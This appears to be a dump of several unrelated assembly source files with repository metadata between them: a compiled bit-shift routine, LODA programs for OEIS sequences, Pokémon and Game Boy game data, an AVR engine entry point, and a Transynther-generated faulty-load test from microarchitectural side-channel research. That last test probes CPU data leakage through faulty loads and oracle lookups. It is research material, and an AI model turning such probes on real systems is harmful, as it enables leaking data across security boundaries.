; 249 : work = temp >> n_rshift_bit_count; temp = pp[9]; work |= temp << n_lshift_bit_count; op[9] = work;
; 250 : work = temp >> n_rshift_bit_count; temp = pp[10]; work |= temp << n_lshift_bit_count; op[10] = work;
; 251 : work = temp >> n_rshift_bit_count; temp = pp[11]; work |= temp << n_lshift_bit_count; op[11] = work;
; 252 : work = temp >> n_rshift_bit_count; temp = pp[12]; work |= temp << n_lshift_bit_count; op[12] = work;
; 253 : work = temp >> n_rshift_bit_count; temp = pp[13]; work |= temp << n_lshift_bit_count; op[13] = work;
; 254 : work = temp >> n_rshift_bit_count; temp = pp[14]; work |= temp << n_lshift_bit_count; op[14] = work;
; 255 : work = temp >> n_rshift_bit_count; temp = pp[15]; work |= temp << n_lshift_bit_count; op[15] = work;
; 256 : pp += 16;
mov edx, DWORD PTR _pp$1$[ebp]
; 257 : op += 16;
mov ebx, DWORD PTR _op$1$[ebp]
add edx, 64 ; 00000040H
mov DWORD PTR _pp$1$[ebp], edx
add ebx, 64 ; 00000040H
$LN7@RightShift:
; 258 : }
; 259 :
; 260 : if (t_count & 0x8)
mov ecx, DWORD PTR _t_count$1$[ebp]
mov edi, DWORD PTR _n$[ebp]
test cl, 8
je $LN8@RightShift
; 261 : {
; 262 : work = temp >> n_rshift_bit_count; temp = pp[0]; work |= temp << n_lshift_bit_count; op[0] = work;
mov esi, DWORD PTR [edx]
mov ecx, edi
shr eax, cl
mov edx, esi
mov ecx, DWORD PTR _n_lshift_bit_count$1$[ebp]
shl edx, cl
mov ecx, edi
or edx, eax
shr esi, cl
mov ecx, DWORD PTR _n_lshift_bit_count$1$[ebp]
mov DWORD PTR [ebx], edx
mov edx, DWORD PTR _pp$1$[ebp]
mov edx, DWORD PTR [edx+4]
mov eax, edx
shl eax, cl
mov ecx, edi
or eax, esi
shr edx, cl
mov DWORD PTR [ebx+4], eax
mov eax, DWORD PTR _pp$1$[ebp]
mov ecx, DWORD PTR _n_lshift_bit_count$1$[ebp]
mov esi, DWORD PTR [eax+8]
mov eax, esi
shl eax, cl
mov ecx, edi
or eax, edx
shr esi, cl
mov DWORD PTR [ebx+8], eax
mov eax, DWORD PTR _pp$1$[ebp]
mov ecx, DWORD PTR _n_lshift_bit_count$1$[ebp]
mov edx, DWORD PTR [eax+12]
mov eax, edx
shl eax, cl
mov ecx, edi
or eax, esi
shr edx, cl
mov ecx, DWORD PTR _n_lshift_bit_count$1$[ebp]
mov DWORD PTR [ebx+12], eax
mov eax, DWORD PTR _pp$1$[ebp]
mov esi, DWORD PTR [eax+16]
mov eax, esi
shl eax, cl
mov ecx, edi
or eax, edx
shr esi, cl
mov ecx, DWORD PTR _n_lshift_bit_count$1$[ebp]
mov DWORD PTR [ebx+16], eax
mov eax, DWORD PTR _pp$1$[ebp]
mov edx, DWORD PTR [eax+20]
mov eax, edx
shl eax, cl
mov ecx, edi
or eax, esi
shr edx, cl
mov ecx, DWORD PTR _n_lshift_bit_count$1$[ebp]
mov DWORD PTR [ebx+20], eax
mov eax, DWORD PTR _pp$1$[ebp]
mov esi, DWORD PTR [eax+24]
mov eax, esi
shl eax, cl
mov ecx, edi
or eax, edx
shr esi, cl
mov ecx, DWORD PTR _n_lshift_bit_count$1$[ebp]
mov DWORD PTR [ebx+24], eax
mov eax, DWORD PTR _pp$1$[ebp]
mov eax, DWORD PTR [eax+28]
mov edx, eax
shl edx, cl
mov ecx, DWORD PTR _t_count$1$[ebp]
or edx, esi
mov DWORD PTR [ebx+28], edx
; 263 : work = temp >> n_rshift_bit_count; temp = pp[1]; work |= temp << n_lshift_bit_count; op[1] = work;
; 264 : work = temp >> n_rshift_bit_count; temp = pp[2]; work |= temp << n_lshift_bit_count; op[2] = work;
; 265 : work = temp >> n_rshift_bit_count; temp = pp[3]; work |= temp << n_lshift_bit_count; op[3] = work;
; 266 : work = temp >> n_rshift_bit_count; temp = pp[4]; work |= temp << n_lshift_bit_count; op[4] = work;
; 267 : work = temp >> n_rshift_bit_count; temp = pp[5]; work |= temp << n_lshift_bit_count; op[5] = work;
; 268 : work = temp >> n_rshift_bit_count; temp = pp[6]; work |= temp << n_lshift_bit_count; op[6] = work;
; 269 : work = temp >> n_rshift_bit_count; temp = pp[7]; work |= temp << n_lshift_bit_count; op[7] = work;
; 270 : pp += 8;
mov edx, DWORD PTR _pp$1$[ebp]
add edx, 32 ; 00000020H
; 271 : op += 8;
add ebx, 32 ; 00000020H
mov DWORD PTR _pp$1$[ebp], edx
$LN8@RightShift:
; 272 : }
; 273 :
; 274 : if (t_count & 0x4)
test cl, 4
je SHORT $LN9@RightShift
; 275 : {
; 276 : work = temp >> n_rshift_bit_count; temp = pp[0]; work |= temp << n_lshift_bit_count; op[0] = work;
mov esi, DWORD PTR [edx]
mov ecx, edi
shr eax, cl
mov edx, esi
mov ecx, DWORD PTR _n_lshift_bit_count$1$[ebp]
shl edx, cl
mov ecx, edi
or edx, eax
shr esi, cl
mov eax, DWORD PTR _pp$1$[ebp]
mov ecx, DWORD PTR _n_lshift_bit_count$1$[ebp]
mov DWORD PTR [ebx], edx
mov edx, DWORD PTR [eax+4]
mov eax, edx
shl eax, cl
mov ecx, edi
or eax, esi
shr edx, cl
mov ecx, DWORD PTR _n_lshift_bit_count$1$[ebp]
mov DWORD PTR [ebx+4], eax
mov eax, DWORD PTR _pp$1$[ebp]
mov esi, DWORD PTR [eax+8]
mov eax, esi
shl eax, cl
mov ecx, edi
or eax, edx
shr esi, cl
mov ecx, DWORD PTR _n_lshift_bit_count$1$[ebp]
mov DWORD PTR [ebx+8], eax
mov eax, DWORD PTR _pp$1$[ebp]
mov eax, DWORD PTR [eax+12]
mov edx, eax
shl edx, cl
mov ecx, DWORD PTR _t_count$1$[ebp]
or edx, esi
mov DWORD PTR [ebx+12], edx
; 277 : work = temp >> n_rshift_bit_count; temp = pp[1]; work |= temp << n_lshift_bit_count; op[1] = work;
; 278 : work = temp >> n_rshift_bit_count; temp = pp[2]; work |= temp << n_lshift_bit_count; op[2] = work;
; 279 : work = temp >> n_rshift_bit_count; temp = pp[3]; work |= temp << n_lshift_bit_count; op[3] = work;
; 280 : pp += 4;
mov edx, DWORD PTR _pp$1$[ebp]
add edx, 16 ; 00000010H
; 281 : op += 4;
add ebx, 16 ; 00000010H
mov DWORD PTR _pp$1$[ebp], edx
$LN9@RightShift:
; 282 : }
; 283 :
; 284 : if (t_count & 0x2)
test cl, 2
je SHORT $LN10@RightShift
; 285 : {
; 286 : work = temp >> n_rshift_bit_count; temp = pp[0]; work |= temp << n_lshift_bit_count; op[0] = work;
mov esi, DWORD PTR [edx]
mov ecx, edi
shr eax, cl
mov edx, esi
mov ecx, DWORD PTR _n_lshift_bit_count$1$[ebp]
shl edx, cl
; 287 : work = temp >> n_rshift_bit_count; temp = pp[1]; work |= temp << n_lshift_bit_count; op[1] = work;
mov ecx, edi
or edx, eax
shr esi, cl
mov eax, DWORD PTR _pp$1$[ebp]
mov ecx, DWORD PTR _n_lshift_bit_count$1$[ebp]
mov DWORD PTR [ebx], edx
mov eax, DWORD PTR [eax+4]
mov edx, eax
shl edx, cl
mov ecx, DWORD PTR _t_count$1$[ebp]
or edx, esi
mov DWORD PTR [ebx+4], edx
; 288 : pp += 2;
mov edx, DWORD PTR _pp$1$[ebp]
add edx, 8
; 289 : op += 2;
add ebx, 8
$LN10@RightShift:
; 290 : }
; 291 :
; 292 : if (t_count & 0x1)
test cl, 1
je SHORT $LN11@RightShift
; 293 : {
; 294 : work = temp >> n_rshift_bit_count; temp = pp[0]; work |= temp << n_lshift_bit_count; op[0] = work;
mov ecx, edi
shr eax, cl
mov ecx, DWORD PTR _n_lshift_bit_count$1$[ebp]
mov esi, eax
mov eax, DWORD PTR [edx]
mov edx, eax
shl edx, cl
or edx, esi
mov DWORD PTR [ebx], edx
; 295 : pp += 1;
; 296 : op += 1;
add ebx, 4
$LN11@RightShift:
; 297 : }
; 298 :
; 299 : work = temp >> n_rshift_bit_count;
mov ecx, edi
shr eax, cl
; 300 : if (work != 0 || padding_zero)
mov ecx, DWORD PTR _padding_zero$[ebp]
test eax, eax
jne SHORT $LN13@RightShift
test ecx, ecx
je SHORT $LN20@RightShift
$LN13@RightShift:
; 301 : *op = work;
mov DWORD PTR [ebx], eax
; 302 :
; 303 : if (padding_zero)
test ecx, ecx
je SHORT $LN20@RightShift
; 304 : _ZERO_MEMORY_UNIT_DIV(o + p_word_count - n_word_count, n_word_count);
mov eax, DWORD PTR _p_word_count$[ebp]
mov ecx, DWORD PTR _o$[ebp]
lea edi, DWORD PTR [ecx+eax*4]
; 305 : }
; 306 : }
mov ecx, DWORD PTR _n_word_count$1$[ebp]
xor eax, eax
rep stosd
$LN20@RightShift:
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 0
_RightShift_Imp_DIV ENDP
_TEXT ENDS
END
| 28.6032 | 123 | 0.619884 |
47ecfec1825717c9ca7a6fa6c32171b8eaf18597 | 529 | asm | Assembly | programs/oeis/231/A231502.asm | neoneye/loda | afe9559fb53ee12e3040da54bd6aa47283e0d9ec | [
"Apache-2.0"
] | 22 | 2018-02-06T19:19:31.000Z | 2022-01-17T21:53:31.000Z | programs/oeis/231/A231502.asm | neoneye/loda | afe9559fb53ee12e3040da54bd6aa47283e0d9ec | [
"Apache-2.0"
] | 41 | 2021-02-22T19:00:34.000Z | 2021-08-28T10:47:47.000Z | programs/oeis/231/A231502.asm | neoneye/loda | afe9559fb53ee12e3040da54bd6aa47283e0d9ec | [
"Apache-2.0"
] | 5 | 2021-02-24T21:14:16.000Z | 2021-08-09T19:48:05.000Z | ; A231502: a(n) = Sum_{i=0..n} wt(i)^4, where wt() = A000120().
; 0,1,2,18,19,35,51,132,133,149,165,246,262,343,424,680,681,697,713,794,810,891,972,1228,1244,1325,1406,1662,1743,1999,2255,2880,2881,2897,2913,2994,3010,3091,3172,3428,3444,3525,3606,3862,3943,4199,4455,5080,5096,5177,5258,5514,5595,5851,6107,6732,6813,7069
mov $2,$0
mov $3,$0
lpb $2
mov $0,$3
sub $2,1
sub $0,$2
seq $0,120 ; 1's-counting sequence: number of 1's in binary expansion of n (or the binary weight of n).
pow $0,4
add $1,$0
lpe
mov $0,$1
| 35.266667 | 258 | 0.671078 |
946feaf1845041337df3a46972f46f87d8731a2b | 627 | asm | Assembly | data/pokemon/base_stats/pinsir.asm | opiter09/ASM-Machina | 75d8e457b3e82cc7a99b8e70ada643ab02863ada | [
"CC0-1.0"
] | 1 | 2022-02-15T00:19:44.000Z | 2022-02-15T00:19:44.000Z | data/pokemon/base_stats/pinsir.asm | opiter09/ASM-Machina | 75d8e457b3e82cc7a99b8e70ada643ab02863ada | [
"CC0-1.0"
] | null | null | null | data/pokemon/base_stats/pinsir.asm | opiter09/ASM-Machina | 75d8e457b3e82cc7a99b8e70ada643ab02863ada | [
"CC0-1.0"
] | null | null | null | db DEX_PINSIR ; pokedex id
db 65, 125, 100, 85, 55
; hp atk def spd spc
db BUG, BUG ; type
db 45 ; catch rate
db 200 ; base exp
INCBIN "gfx/pokemon/front/pinsir.pic", 0, 1 ; sprite dimensions
dw PinsirPicFront, PinsirPicBack
db VICEGRIP, NO_MOVE, NO_MOVE, NO_MOVE ; level 1 learnset
db GROWTH_SLOW ; growth rate
; tm/hm learnset
tmhm SWORDS_DANCE, TOXIC, BODY_SLAM, TAKE_DOWN, DOUBLE_EDGE, \
HYPER_BEAM, SUBMISSION, SEISMIC_TOSS, RAGE, MIMIC, \
DOUBLE_TEAM, BIDE, REST, SUBSTITUTE, CUT, \
STRENGTH
; end
db 0 ; padding
| 26.125 | 77 | 0.617225 |
d6bbc9df65cc82c7b861a6f0382f80701ba12faa | 876 | asm | Assembly | engine/engine/main.asm | neomura/atmega328p-cartridge | e7152425e5253cd4e513cad41dc03d306003e91e | [
"MIT"
] | null | null | null | engine/engine/main.asm | neomura/atmega328p-cartridge | e7152425e5253cd4e513cad41dc03d306003e91e | [
"MIT"
] | 2 | 2021-04-17T09:31:24.000Z | 2021-04-17T09:31:53.000Z | engine/engine/main.asm | neomura/atmega328p-cartridge | e7152425e5253cd4e513cad41dc03d306003e91e | [
"MIT"
] | null | null | null | .include "m328Pdef.inc"
.dseg
.include "engine/utilities/declarations/index.asm"
.include "engine/audio/declarations/index.asm"
.include "engine/video/declarations/index.asm"
.include "engine/interrupt/declarations/index.asm"
.include "engine/pads/declarations/index.asm"
.include "engine/main-loop/declarations/index.asm"
.include "game/declarations/index.asm"
.cseg
.org 0x00
jmp main
.include "engine/interrupt/implementation/handler/index.asm"
main:
.include "engine/utilities/implementation/setup.asm"
.include "engine/audio/implementation/setup.asm"
.include "engine/video/implementation/setup.asm"
.include "engine/pads/implementation/setup.asm"
.include "engine/main-loop/implementation/setup.asm"
.include "game/implementation/setup.asm"
.include "engine/interrupt/implementation/setup.asm"
.include "engine/main-loop/implementation/run.asm"
| 29.2 | 60 | 0.785388 |
9c3dbb8ed9cfa1c1967b025aea7788f944d17dd7 | 5,796 | asm | Assembly | Transynther/x86/_processed/NONE/_xt_/i7-7700_9_0xca_notsx.log_21829_1621.asm | ljhsiun2/medusa | 67d769b8a2fb42c538f10287abaf0e6dbb463f0c | [
"MIT"
] | 9 | 2020-08-13T19:41:58.000Z | 2022-03-30T12:22:51.000Z | Transynther/x86/_processed/NONE/_xt_/i7-7700_9_0xca_notsx.log_21829_1621.asm | ljhsiun2/medusa | 67d769b8a2fb42c538f10287abaf0e6dbb463f0c | [
"MIT"
] | 1 | 2021-04-29T06:29:35.000Z | 2021-05-13T21:02:30.000Z | Transynther/x86/_processed/NONE/_xt_/i7-7700_9_0xca_notsx.log_21829_1621.asm | ljhsiun2/medusa | 67d769b8a2fb42c538f10287abaf0e6dbb463f0c | [
"MIT"
] | 3 | 2020-07-14T17:07:07.000Z | 2022-03-21T01:12:22.000Z | .global s_prepare_buffers
s_prepare_buffers:
push %r11
push %r13
push %r9
push %rbp
push %rcx
push %rdi
push %rdx
push %rsi
lea addresses_normal_ht+0x155b1, %r11
nop
xor $9664, %r13
mov (%r11), %r9w
nop
nop
nop
nop
nop
add $54508, %rbp
lea addresses_normal_ht+0x17141, %rsi
lea addresses_normal_ht+0x18901, %rdi
clflush (%rsi)
nop
nop
nop
add $26227, %rdx
mov $84, %rcx
rep movsq
nop
nop
nop
nop
add $6004, %r13
lea addresses_D_ht+0x141c1, %rsi
lea addresses_normal_ht+0x1ecc1, %rdi
clflush (%rdi)
nop
and %r13, %r13
mov $110, %rcx
rep movsq
nop
add $3870, %rcx
lea addresses_WT_ht+0x79c1, %rsi
lea addresses_normal_ht+0x9c51, %rdi
nop
xor %r11, %r11
mov $112, %rcx
rep movsq
nop
nop
nop
xor $21253, %rbp
lea addresses_WC_ht+0x17081, %r11
nop
nop
nop
inc %rdx
movw $0x6162, (%r11)
cmp $48299, %r13
lea addresses_UC_ht+0x1849d, %rsi
lea addresses_normal_ht+0x1b841, %rdi
nop
nop
and %r13, %r13
mov $95, %rcx
rep movsq
nop
add %rdi, %rdi
lea addresses_WC_ht+0xdc1, %rdx
nop
inc %rbp
movw $0x6162, (%rdx)
nop
nop
nop
nop
and $1476, %rdi
pop %rsi
pop %rdx
pop %rdi
pop %rcx
pop %rbp
pop %r9
pop %r13
pop %r11
ret
.global s_faulty_load
s_faulty_load:
push %r11
push %r15
push %r9
push %rbx
push %rcx
push %rdx
// Faulty Load
lea addresses_A+0x149c1, %r15
cmp $48460, %r9
vmovups (%r15), %ymm6
vextracti128 $1, %ymm6, %xmm6
vpextrq $0, %xmm6, %r11
lea oracles, %rcx
and $0xff, %r11
shlq $12, %r11
mov (%rcx,%r11,1), %r11
pop %rdx
pop %rcx
pop %rbx
pop %r9
pop %r15
pop %r11
ret
/*
<gen_faulty_load>
[REF]
{'src': {'NT': False, 'AVXalign': False, 'size': 2, 'congruent': 0, 'same': False, 'type': 'addresses_A'}, 'OP': 'LOAD'}
[Faulty Load]
{'src': {'NT': False, 'AVXalign': False, 'size': 32, 'congruent': 0, 'same': True, 'type': 'addresses_A'}, 'OP': 'LOAD'}
<gen_prepare_buffer>
{'src': {'NT': False, 'AVXalign': False, 'size': 2, 'congruent': 4, 'same': False, 'type': 'addresses_normal_ht'}, 'OP': 'LOAD'}
{'src': {'congruent': 5, 'same': False, 'type': 'addresses_normal_ht'}, 'dst': {'congruent': 1, 'same': False, 'type': 'addresses_normal_ht'}, 'OP': 'REPM'}
{'src': {'congruent': 11, 'same': False, 'type': 'addresses_D_ht'}, 'dst': {'congruent': 8, 'same': False, 'type': 'addresses_normal_ht'}, 'OP': 'REPM'}
{'src': {'congruent': 10, 'same': False, 'type': 'addresses_WT_ht'}, 'dst': {'congruent': 4, 'same': False, 'type': 'addresses_normal_ht'}, 'OP': 'REPM'}
{'dst': {'NT': False, 'AVXalign': True, 'size': 2, 'congruent': 6, 'same': False, 'type': 'addresses_WC_ht'}, 'OP': 'STOR'}
{'src': {'congruent': 2, 'same': False, 'type': 'addresses_UC_ht'}, 'dst': {'congruent': 5, 'same': False, 'type': 'addresses_normal_ht'}, 'OP': 'REPM'}
{'dst': {'NT': False, 'AVXalign': False, 'size': 2, 'congruent': 10, 'same': False, 'type': 'addresses_WC_ht'}, 'OP': 'STOR'}
{'35': 21829}
35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35
*/
| 43.578947 | 2,999 | 0.663734 |
b751187c0c1479e3ff47216aea7a0d142058cf24 | 1,829 | asm | Assembly | First Stage/first_stage_main.asm | marmil03/Project-Lithosphere | c0f109ac982dae0cba61f37e1c944048391d441c | [
"MIT"
] | null | null | null | First Stage/first_stage_main.asm | marmil03/Project-Lithosphere | c0f109ac982dae0cba61f37e1c944048391d441c | [
"MIT"
] | null | null | null | First Stage/first_stage_main.asm | marmil03/Project-Lithosphere | c0f109ac982dae0cba61f37e1c944048391d441c | [
"MIT"
] | null | null | null | section .text
global _main
jmp _main
%include "bootsector.asm"
%include "disk_read/read_sector.asm"
%include "disk_read/read_file.asm"
%include "disk_read/Read_FAT.asm"
%include "disk_read/find_file.asm"
%include "Reboot.asm"
reset_disk_system:
mov dl, Drive_Number ;drive to reset
xor ax, ax ;subfunction 0
int 0x13 ;BIOS interrupt
jc boot_failiure ;display error if carry flag is set
ret
[bits 16]
_main:
[org 0x7c00] ;bootloader offset
mov bp, 0x9000 ;stack base
mov sp, bp
call reset_disk_system ;reset disk system
Find_File file_name, SECOND_STAGE_SEGMENT ;find scstage.bin
Read_FAT FAT_SEGMENT ;load FAT table in memory
Read_File SECOND_STAGE_SEGMENT, FAT_SEGMENT ;read scstage.bin file
jmp start_second_stage ;exectue scstage.bin
boot_failiure:
mov bx, DISK_ERROR_MSG ;show error msg
call print_message
call print_new_line
Reboot ;Reboot
jmp $
start_second_stage:
mov ax, word [SECOND_STAGE_SEGMENT]
mov es, ax
mov ds, ax
jmp SECOND_STAGE_SEGMENT:0
jmp $
%include "boot_sector_print_message.asm"
file_name db 'SCSTAGE BIN' ;must be 11 bytes long -> 8 bytes for file name, 3 bytes for file exstension, all uppercase
REBOOT_MSG db 'Press any key to reboot...',0
DISK_ERROR_MSG db 'Disk read error, press key to reboot',0
SECOND_STAGE_SEGMENT equ 0x1000 ;second stage will be loaded into segment 0x1000
FAT_SEGMENT equ 0x0ee0 ;boot disk's FAT will be loaded into segment 0x0ee0
root_strt db 0,0 ;offset of root directory
root_scts db 0,0 ;sectors in root directory
file_strt db 0,0 ;offset of bootloader
times 510-($-$$) db 0 ;pad with nulls
dw 0xaa55 ;magic word
| 31 | 130 | 0.68398 |
01348418f821724f9c14bb460c9fcfb590c1f4c8 | 653 | asm | Assembly | cards/bn6/ModCards/137-B018 CanGuard.asm | RockmanEXEZone/MMBN-Mod-Card-Kit | d591ddca5566dbb323dc19c11e69410fa4073d1b | [
"Unlicense"
] | 10 | 2017-12-05T14:25:38.000Z | 2022-02-21T04:28:00.000Z | cards/bn6/ModCards/137-B018 CanGuard.asm | RockmanEXEZone/MMBN-Mod-Card-Kit | d591ddca5566dbb323dc19c11e69410fa4073d1b | [
"Unlicense"
] | null | null | null | cards/bn6/ModCards/137-B018 CanGuard.asm | RockmanEXEZone/MMBN-Mod-Card-Kit | d591ddca5566dbb323dc19c11e69410fa4073d1b | [
"Unlicense"
] | null | null | null | .include "defaults_mod.asm"
table_file_jp equ "exe6-utf8.tbl"
table_file_en equ "bn6-utf8.tbl"
game_code_len equ 3
game_code equ 0x4252354A // BR5J
game_code_2 equ 0x42523545 // BR5E
game_code_3 equ 0x42523550 // BR5P
card_type equ 1
card_id equ 71
card_no equ "071"
card_sub equ "Mod Card 071"
card_sub_x equ 64
card_desc_len equ 2
card_desc_1 equ "CanGuard"
card_desc_2 equ "10MB"
card_desc_3 equ ""
card_name_jp_full equ "キャノガード"
card_name_jp_game equ "キャノガード"
card_name_en_full equ "CanGuard"
card_name_en_game equ "CanGuard"
card_address equ ""
card_address_id equ 0
card_bug equ 0
card_wrote_en equ ""
card_wrote_jp equ "" | 24.185185 | 35 | 0.773354 |
5d44ecc6a1a5c1063f744aab3622e91a09d9d93f | 829 | asm | Assembly | oeis/142/A142608.asm | neoneye/loda-programs | 84790877f8e6c2e821b183d2e334d612045d29c0 | [
"Apache-2.0"
] | 11 | 2021-08-22T19:44:55.000Z | 2022-03-20T16:47:57.000Z | oeis/142/A142608.asm | neoneye/loda-programs | 84790877f8e6c2e821b183d2e334d612045d29c0 | [
"Apache-2.0"
] | 9 | 2021-08-29T13:15:54.000Z | 2022-03-09T19:52:31.000Z | oeis/142/A142608.asm | neoneye/loda-programs | 84790877f8e6c2e821b183d2e334d612045d29c0 | [
"Apache-2.0"
] | 3 | 2021-08-22T20:56:47.000Z | 2021-09-29T06:26:12.000Z | ; A142608: Primes congruent to 9 mod 55.
; Submitted by Jon Maiga
; 229,449,1109,1439,1549,1879,2099,2539,3089,3529,4079,4409,4519,5179,5399,5839,6389,6719,6829,7159,7489,8039,8369,8699,9029,9689,10459,10789,11119,11779,12109,12329,12659,13099,13649,13759,14419,14639,14969,15299,15629,15739,15959,16069,16619,16729,17389,17609,17939,18049,18269,18379,19259,19699,19919,20029,20249,20359,21019,21569,22229,22669,23549,23879,24979,25309,25639,25969,26189,26849,26959,27179,27509,28279,28499,29269,29599,29819,30259,30809,31139,31249,31469,31799,32569,32789,33119,33889
mov $1,4
mov $2,$0
add $2,2
pow $2,2
lpb $2
sub $2,1
mov $3,$1
mul $3,2
seq $3,10051 ; Characteristic function of primes: 1 if n is prime, else 0.
sub $0,$3
add $1,55
mov $4,$0
max $4,0
cmp $4,$0
mul $2,$4
lpe
mov $0,$1
mul $0,2
sub $0,109
| 34.541667 | 501 | 0.731001 |
b97bb2a425f6e52923e47496f04abc0e9ec6cfe4 | 965 | asm | Assembly | programs/oeis/198/A198847.asm | neoneye/loda | afe9559fb53ee12e3040da54bd6aa47283e0d9ec | [
"Apache-2.0"
] | 22 | 2018-02-06T19:19:31.000Z | 2022-01-17T21:53:31.000Z | programs/oeis/198/A198847.asm | neoneye/loda | afe9559fb53ee12e3040da54bd6aa47283e0d9ec | [
"Apache-2.0"
] | 41 | 2021-02-22T19:00:34.000Z | 2021-08-28T10:47:47.000Z | programs/oeis/198/A198847.asm | neoneye/loda | afe9559fb53ee12e3040da54bd6aa47283e0d9ec | [
"Apache-2.0"
] | 5 | 2021-02-24T21:14:16.000Z | 2021-08-09T19:48:05.000Z | ; A198847: a(n) = 10*6^n - 1.
; 9,59,359,2159,12959,77759,466559,2799359,16796159,100776959,604661759,3627970559,21767823359,130606940159,783641640959,4701849845759,28211099074559,169266594447359,1015599566684159,6093597400104959,36561584400629759,219369506403778559,1316217038422671359,7897302230536028159,47383813383216168959,284302880299297013759,1705817281795782082559,10234903690774692495359,61409422144648154972159,368456532867888929832959,2210739197207333578997759,13264435183244001473986559,79586611099464008843919359,477519666596784053063516159,2865117999580704318381096959,17190707997484225910286581759,103144247984905355461719490559,618865487909432132770316943359,3713192927456592796621901660159,22279157564739556779731409960959,133674945388437340678388459765759,802049672330624044070330758594559,4812298033983744264421984551567359,28873788203902465586531907309404159,173242729223414793519191443856424959
mov $1,6
pow $1,$0
mul $1,10
sub $1,1
mov $0,$1
| 107.222222 | 885 | 0.910881 |
2db31b224eff53c6b4d7d962369074361df58b5c | 1,657 | asm | Assembly | Source/Levels/L1312.asm | AbePralle/FGB | 52f004b8d9d4091a2a242a012dc8c1f90d4c160d | [
"MIT"
] | null | null | null | Source/Levels/L1312.asm | AbePralle/FGB | 52f004b8d9d4091a2a242a012dc8c1f90d4c160d | [
"MIT"
] | null | null | null | Source/Levels/L1312.asm | AbePralle/FGB | 52f004b8d9d4091a2a242a012dc8c1f90d4c160d | [
"MIT"
] | null | null | null | ; L1312.asm Crouton Homeworld 2
; Generated 04.19.2001 by mlevel
; Modified 04.19.2001 by Abe Pralle
INCLUDE "Source/Defs.inc"
INCLUDE "Source/Levels.inc"
;---------------------------------------------------------------------
SECTION "Level1312Section",ROMX
;---------------------------------------------------------------------
L1312_Contents::
DW L1312_Load
DW L1312_Init
DW L1312_Check
DW L1312_Map
;---------------------------------------------------------------------
; Load
;---------------------------------------------------------------------
L1312_Load:
DW ((L1312_LoadFinished - L1312_Load2)) ;size
L1312_Load2:
call ParseMap
ret
L1312_LoadFinished:
;---------------------------------------------------------------------
; Map
;---------------------------------------------------------------------
L1312_Map:
INCBIN "Data/Levels/L1312_crouton_hw2.lvl"
;---------------------------------------------------------------------
; Init
;---------------------------------------------------------------------
L1312_Init:
DW ((L1312_InitFinished - L1312_Init2)) ;size
L1312_Init2:
ret
L1312_InitFinished:
;---------------------------------------------------------------------
; Check
;---------------------------------------------------------------------
L1312_Check:
DW ((L1312_CheckFinished - L1312_Check2)) ;size
L1312_Check2:
ret
L1312_CheckFinished:
